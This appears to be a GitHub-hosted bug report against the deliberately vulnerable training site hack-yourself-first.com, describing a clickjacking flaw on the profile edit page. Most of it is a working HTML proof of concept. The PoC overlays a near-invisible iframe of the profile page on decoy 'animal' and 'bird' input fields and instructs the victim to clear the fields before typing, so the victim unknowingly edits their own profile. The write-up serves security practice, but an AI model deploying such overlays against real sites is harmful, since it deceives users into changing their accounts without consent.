-
Notifications
You must be signed in to change notification settings - Fork 1
/
#21 Edit profile using Clickjacking
81 lines (65 loc) · 1.9 KB
/
#21 Edit profile using Clickjacking
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
Summary: Using clickjacking vulnerability to change the user's profile
Steps to reproduce: Create an account and go to edit profile. Then create a HTML file as follows below (Clickjacking PoC) and run the file. Then enter the details as follows and reload the edit profile page in hack-yourself-first website. Then you can see that what you written previously in the HTML file which you created.
Impact: Due to this bug, an attacker can change the profile of victim believing.
Clickjacking PoC:
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking to change username</title>
</head>
<body>
<style>
iframe {
position:relative;
width:700px;
height: 500px;
opacity: 0.00001;
z-index: 2;
}
.ok {
position:absolute;
top:310px;
left:220px;
z-index: 1;
}
.animal {
position:absolute;
top:210px;
left:30px;
z-index: 1;
}
.bird {
position:absolute;
top:260px;
left:50px;
z-index: 1;
}
.input1 {
position:absolute;
top:205px;
left:210px;
z-index: 1;
}
.input2 {
position:absolute;
top:255px;
left:210px;
z-index: 1;
}
.delete {
position:absolute;
top: 20px;
left:50px;
z-index: 1;
}
</style>
<div class="animal">Enter a animal name:</div>
<div class="bird">Enter a bird name:</div>
<div class="ok">Ok</div>
<h4 class="delete">Press "Ctrl+A" and "Del" before typing</h4>
<input type="text" class="input1"></input>
<input type="text" class="input2"></input>
<iframe src="https://hack-yourself-first.com/Account/UserProfile/333"></iframe>
</body>
</html>
note: this works in firefox without any issue, if you are using anyother browser, then you have to increase the opacity of iframe and adjust it according to it.